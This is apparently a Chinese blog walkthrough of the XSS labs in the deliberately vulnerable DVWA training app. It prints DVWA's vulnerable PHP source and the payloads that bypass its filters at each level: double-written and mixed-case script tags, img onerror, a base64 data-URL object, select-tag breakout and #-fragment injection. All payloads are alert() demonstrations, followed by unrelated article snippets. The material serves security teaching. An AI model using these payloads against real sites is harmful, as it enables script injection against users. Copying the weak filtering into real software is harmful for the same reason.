当前位置: 首页 > news >正文

【XSS】DVWA靶场XSS攻击

一、XSS攻击

1.1. XSS 攻击简介

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,它允许攻击者在受害者的浏览器中执行恶意脚本。攻击者通常通过在Web应用程序中注入恶意脚本代码(如JavaScript),并在用户访问该页面时执行这些代码。

1.2. XSS 攻击类型

XSS 攻击通常分为以下三种类型:

  1. 存储型 XSS(Stored XSS):

攻击者将恶意脚本注入到服务器的数据库或其他存储位置。当用户访问含有恶意脚本的页面时,脚本会在其浏览器中执行。
例如,攻击者在一个评论区提交恶意代码,服务器将该代码存储并返回给所有访问该页面的用户。
2. 反射型 XSS(Reflected XSS):

攻击者将恶意代码附加到URL中,诱使用户点击。服务器将这个恶意代码反射回用户的浏览器,在页面加载时执行脚本。
例如,攻击者通过邮件或社交媒体发送一个包含恶意脚本的链接,用户点击后脚本在其浏览器中执行。
3. DOM-based XSS:

在客户端(浏览器端)通过 JavaScript 操作 DOM(文档对象模型)时,恶意脚本会被注入并执行。攻击者通过操控页面上的 JavaScript 来实现攻击。
这种类型的XSS攻击不依赖服务器端的输入验证,而是直接通过客户端代码的漏洞来注入恶意脚本。

二、DVWA靶场-Vulnerability: Reflected Cross Site Scripting (XSS)

2.1 LOW

直接输入最简单的payload:测试是否存在XSS漏洞,大多数XSS漏洞可以利用该种方法检测。测试代码如下,在输入框输入如下代码,并提交。

<script>alert("hello xss")</script>

在这里插入图片描述
弹窗提示,因此发现存在反射型XSS风险。

在这里插入图片描述

2.2 Medium

  1. 将等级改为Medium后,再次输入以下脚本测试:
<script>alert("hello xss")</script>

发现Medium等级应该对script进行了处理。
在这里插入图片描述
2. 查看Medium源代码,分析具体对script进行了哪种处理

 
// Reflected XSS Source
// vulnerabilities/xss_r/source/medium.php
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>

代码分析:这里很明显看得出来,是对<script>字符进行了过滤,使用str_replace()函数将输入中的<script>替换成为空,于是需要我们想办法绕过过滤字符。

  1. 破解

(1)双写绕过

<scr<script>ipt>alert("hello xss")</script>

(2)大小写绕过

<ScRipt>alert("hello xss")</ScRipt>

在这里插入图片描述
提交后,弹窗提示,xss破解成功
在这里插入图片描述

2.3 High

  1. 将等级改为High后,再次输入以下脚本测试:
<scr<script>ipt>alert("hello xss")</script>

提交后,显示如下。发现High等级应该对script进行了处理。
在这里插入图片描述
2. 查看High源代码,分析具体对script进行了哪种处理

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?> 

代码分析:针对特殊符号,均有过滤,使得双写绕过以及大小写混淆绕过失效。(正则表达式中的i表示不区分大小写)。
3. 破解方法

script标签失效,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

(1)采用img标签转换后的XSS payload:

<img src = 1 onerror = alert(/xss/)>

(2)使用DATA URL进行XSS:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

其中的PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=就等同于<script>alert('xss')</script>

三、Vulnerability: Stored Cross Site Scripting (XSS)

3.1 Low

  1. 在界面输入经典payload,发现name框对输入长度有限制,因此将payload转而输入message框,发现可以成功注入。
<script>alert("hello xss")</script>
  1. 手动更改Name输入框的长度,修改maxlength = "100",然后在name框输入经典payload,发现对长度已经没有限制
    在这里插入图片描述
<script>alert("hello xss")</script>
  • 提交后,XSS攻击成功

3.2 Medium

  1. 尝试使用经典的方法,发现之前经典的payload方法失败
    在这里插入图片描述
  2. 查看源码
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?> 

对源码分析:

  • strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签。
  • addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
  • message参数使用了htmlspecialchars函数进行编码,无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了
  1. 考虑对name输入框进行xss注入

(1)首先需要手动更改Name输入框的长度,修改maxlength = "100"

(2)绕过方式,类似于反射型XSS

  • 双写绕过
<scr<script>ipt>alert("hello xss")</script>
  • 大小写绕过
<ScRipt>alert("hello xss")</ScRipt>
  • 使用非script标签的xss payload。
<img src = 1 onerror = alert(/xss/)>

3.3 High

High等级的name输入框使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
(1)手动更改Name输入框的长度,修改maxlength = "100"

(2)使用非script标签的xss payload注入,注入成功。

<img src = 1 onerror = alert(/xss/)>

四、Vulnerability: DOM Based Cross Site Scripting (XSS)

4.1 Low

  1. 观察主页面,可以看到页面的功能是让我们选择默认的语言,但是这里又没有对default参数没有进行任何的过滤。
    在这里插入图片描述
    因此,我们在这里构造XSS代码,在default参数后面写入脚本,构造访问连接:
?default=<script>alert("hello xss")</script>

在这里插入图片描述
访问后弹出,XSS攻击成功
在这里插入图片描述

4.2 Medium

  1. 过滤了<script,那么我们可以用图片插入语句法:
?default=<img src =1 onerror = alert('dom')>

此时没有出现任何的变化,界面没有反应。这个时候查看网页的源代码:
在这里插入图片描述

可以看到我们输入的脚本语句被插入进了value值中,没有插入到option标签的值中,所以我们语句当中的标签就没有起到作用,因此不会弹窗。

我们改进我们的语句,尝试将前面的标签闭合,注入成功

?default=</select><img src =1 onerror = alert('dom')>

在这里插入图片描述
在这里插入图片描述

  1. 我们还可以直接在English值的后面直接进行拼接,页面也能直接出现弹窗
?default=English</select><img src =1 onerror = alert('dom')>

4.3 High级别

  1. 字符 # 绕过服务端过滤

url中有一个字符为#,该字符后的数据不会发送到服务器端,#后面的内容是对浏览器的操作,不会发送到http请求当中去,从而绕过服务端过滤。因此可以这样构造连接:

?default=English#<script>alert('high!!!')</script>

在这里插入图片描述
点击提交刷新页面后,出现弹窗:
在这里插入图片描述

五、参考资料

  1. DOM-based XSS参考

相关文章:

【XSS】DVWA靶场XSS攻击

一、XSS攻击 1.1. XSS 攻击简介 XSS&#xff08;Cross-Site Scripting&#xff0c;跨站脚本攻击&#xff09;是一种常见的Web安全漏洞&#xff0c;它允许攻击者在受害者的浏览器中执行恶意脚本。攻击者通常通过在Web应用程序中注入恶意脚本代码&#xff08;如JavaScript&…...

Fiddler在Windows下抓包Https

文章目录 1.Fiddler Classic 配置2.配置浏览器代理自动代理手动配置浏览器代理 3.抓取移动端 HTTPS 流量&#xff08;可选&#xff09;解决抓取 HTTPS 失败问题1.Fiddler证书过期了 默认情况下&#xff0c;Fiddler 无法直接解密 HTTPS 流量。需要开启 HTTPS 解密&#xff1a; 1…...

04 路由表的IP分组传输过程

目录 1、路由表的核心结构 2、IP分组传输过程和数据包转发过程 2.1、IP分组传输过程 2.2、数据包转发过程 2.3、IP分组传输过程和数据包转发的区别 3、数据包的变化 3.1、拓扑结构 3.2、传输过程详解&#xff08;主机A → 主机B&#xff09; 3.2.1、主机A发送数据 3.2…...

AI Agent 定义与核心要素详解

AI Agent&#xff08;人工智能代理&#xff09;是一种能够感知环境、自主决策并执行任务以达成目标的软件实体。它结合了感知、推理、学习和行动能力&#xff0c;能够在复杂环境中独立或协作工作。以下是其核心要素&#xff1a; 1. 感知 AI Agent 通过传感器或数据输入感知环…...

记忆化搜索与动态规划:原理、实现与比较

记忆化搜索和动态规划是解决优化问题的两种重要方法&#xff0c;尤其在处理具有重叠子问题和最优子结构性质的问题时非常有效。 目录 1. 记忆化搜索&#xff08;Memoization&#xff09; 定义&#xff1a; 实现步骤&#xff1a; 示例代码&#xff08;斐波那契数列&#xff0…...

在 Mac mini M2 上本地部署 DeepSeek-R1:14B:使用 Ollama 和 Chatbox 的完整指南

随着人工智能技术的飞速发展&#xff0c;本地部署大型语言模型&#xff08;LLM&#xff09;已成为许多技术爱好者的热门选择。本地部署不仅能够保护隐私&#xff0c;还能提供更灵活的使用体验。本文将详细介绍如何在 Mac mini M2&#xff08;24GB 内存&#xff09;上部署 DeepS…...

计算机网络基础简答题资料(对口高考)

1、什么是计算机网络&#xff1f;计算机网络的功能有哪些&#xff1f; 答案&#xff1a;计算机网络&#xff0c;是指将分布在不同地理位置、具有独立功能的多台计算机及其外围设备&#xff0c;通过通信设备和通信线路连接起来&#xff0c;在网络操作系统、网络管理软件及网络通…...

mysql内置工具导入csv包,简单便捷高效

先创建一个你想要的数据库 create database uba; 分析导入文件的格式内容 提前在数据库里创建你需要的表格 不然就会收到”mysqlimport: Error: 1146“大礼包 (你的csv文件名和表格名字一摸一样&#xff0c;大小写也是&#xff09; use uba; create table userBehavior (us…...

【汽车ECU电控数据管理篇】HEX文件格式解析篇章

一、HEX格式文件是啥 HEX 文件是 Intel 公司提出的一种按地址排列的数据信息格式&#xff0c;通常用于存储嵌入式系统的二进制代码。它以 ASCII 码的形式记录数据&#xff0c;每一行以冒号开头&#xff0c;包含数据长度、地址、记录类型、数据和校验码等信息。HEX 文件常用于程…...

SOLID Principle基础入门

(Robert C. Martin (Uncle Bob)) 什么是SOLID原则&#xff1f; SOLID原则是面向对象编程&#xff08;OOP&#xff09;中编写高质量代码的指导方针。实际上&#xff0c;即使不使用SOLID原则&#xff0c;仅通过类、继承、封装和多态性&#xff0c;也可以让程序正常运行。那么为…...

keil主题(vscode风格)

#修改global.prop文件&#xff0c;重新打开keil即可 # Keil uVision Global Properties File # This file is used to customize the appearance of the editor# Editor Font editor.font.nameConsolas editor.font.size10 editor.font.style0# Editor Colors editor.backgro…...

微信小程序读取写入NFC文本,以及NFC直接启动小程序指定页面

一、微信小程序读取NFC文本(yyy优译小程序实现),网上有很多通过wx.getNFCAdapter方法来监听读取NFC卡信息,但怎么处理读取的message文本比较难找,现用下面方法来实现,同时还解决几个问题,1、在回调方法中this.setData不更新信息,因为this的指向问题,2、在退出页面时,…...

大模型使用

prompt生成bot 角色:你扮演一个帮助用户生成大模型prompt内容的角色,不要直接回答问题,而是帮助用户生成prompt 任务:根据用户的输入,分析用户意图,与用户进行多轮沟通,最后根据对话形成最终的prompt 指令:最终形成的prompt必须包含以下6个方面: 1.所有三个引号之间的内容原样输…...

ISP 常见流程

1.sensor输出&#xff1a;一般为raw-OBpedestal。加pedestal避免减OB出现负值&#xff0c;同时保证信号超过ADC最小电压阈值&#xff0c;使信号落在ADC正常工作范围。 2. pedestal correction&#xff1a;移除sensor加的基底&#xff0c;确保后续处理信号起点正确。 3. Linea…...

SpringBoot原理-02.自动配置-概述

一.自动配置 所谓自动配置&#xff0c;就是Spring容器启动后&#xff0c;一些配置类、bean对象就自动存入了IOC容器当中&#xff0c;而不需要我们手动声明&#xff0c;直接从IOC容器中引入即可。省去了繁琐的配置操作。 我们可以首先将spring项目启动起来&#xff0c;里面有一…...

小红书自动评论

现在越来越多的人做起来小红书&#xff0c;为了保证自己的粉丝和数据好看&#xff0c;需要定期养号。 那么养号除了发视频外&#xff0c;还需要积极在社区互动&#xff0c;比如点赞、评论等等&#xff0c;为了节省时间&#xff0c;我做了一个自动化评论工具。 先看效果 那这个是…...

CosyVoice2整合包 特殊声音标记,声音克隆更逼真,新增批量生成

新增批量生成,可用于制作直播话术音频 特殊声音标记 符号示例1_语气加强<strong> </strong>每天都<strong>付出</strong>和<strong>精进</strong>&#xff0c;才能达到巅峰。2_呼吸声[breath][breath] 吸气,[breath] 呼气! [breath] 吸,[b…...

每天一个Flutter开发小项目 (8) : 掌握Flutter网络请求 - 构建每日名言应用

引言 欢迎再次回到 每天一个Flutter开发小项目 系列博客!在之前的七篇博客中,我们已经掌握了 Flutter UI 构建、状态管理、路由导航、表单处理,甚至数据持久化等一系列核心技能。您已经能够构建功能相对完善的本地应用。 然而,在互联网时代,绝大多数应用都需要与服务器进…...

C++Primer学习(4.8位运算符)

4.8位运算符 位运算符作用于整数类型的运算对象&#xff0c;并把运算对象看成是二进制位的集合。位运算符提供检查和设置二进制位的功能&#xff0c;如17.2节(第640页)将要介绍的&#xff0c;一种名为bitset的标准库类型也可以表示任意大小的二进制位集合,所以位运算符同样能用…...

在VSCode中使用MarsCode AI最新版本详解

如何在VSCode中使用MarsCode AI&#xff1a;最新版本详解与使用场景 在当今快速发展的软件开发领域&#xff0c;人工智能&#xff08;AI&#xff09;技术的应用已经变得越来越普遍。ByteDance推出的MarsCode AI是一款强大的AI编程助手&#xff0c;旨在帮助开发者更高效地编写代…...

论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)

HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...

Linux简单的操作

ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...

spring:实例工厂方法获取bean

spring处理使用静态工厂方法获取bean实例&#xff0c;也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下&#xff1a; 定义实例工厂类&#xff08;Java代码&#xff09;&#xff0c;定义实例工厂&#xff08;xml&#xff09;&#xff0c;定义调用实例工厂&#xff…...

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)

笔记整理&#xff1a;刘治强&#xff0c;浙江大学硕士生&#xff0c;研究方向为知识图谱表示学习&#xff0c;大语言模型 论文链接&#xff1a;http://arxiv.org/abs/2407.16127 发表会议&#xff1a;ISWC 2024 1. 动机 传统的知识图谱补全&#xff08;KGC&#xff09;模型通过…...

【JavaSE】绘图与事件入门学习笔记

-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角&#xff0c;以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向&#xff0c;距离坐标原点x个像素;第二个是y坐标&#xff0c;表示当前位置为垂直方向&#xff0c;距离坐标原点y个像素。 坐标体系-像素 …...

【HTTP三个基础问题】

面试官您好&#xff01;HTTP是超文本传输协议&#xff0c;是互联网上客户端和服务器之间传输超文本数据&#xff08;比如文字、图片、音频、视频等&#xff09;的核心协议&#xff0c;当前互联网应用最广泛的版本是HTTP1.1&#xff0c;它基于经典的C/S模型&#xff0c;也就是客…...

Swagger和OpenApi的前世今生

Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章&#xff0c;二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑&#xff1a; &#x1f504; 一、起源与初创期&#xff1a;Swagger的诞生&#xff08;2010-2014&#xff09; 核心…...

分布式增量爬虫实现方案

之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面&#xff0c;避免重复抓取&#xff0c;以节省资源和时间。 在分布式环境下&#xff0c;增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路&#xff1a;将增量判…...

Go 语言并发编程基础:无缓冲与有缓冲通道

在上一章节中&#xff0c;我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道&#xff0c;它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好&#xff0…...

MySQL 部分重点知识篇

一、数据库对象 1. 主键 定义 &#xff1a;主键是用于唯一标识表中每一行记录的字段或字段组合。它具有唯一性和非空性特点。 作用 &#xff1a;确保数据的完整性&#xff0c;便于数据的查询和管理。 示例 &#xff1a;在学生信息表中&#xff0c;学号可以作为主键&#xff…...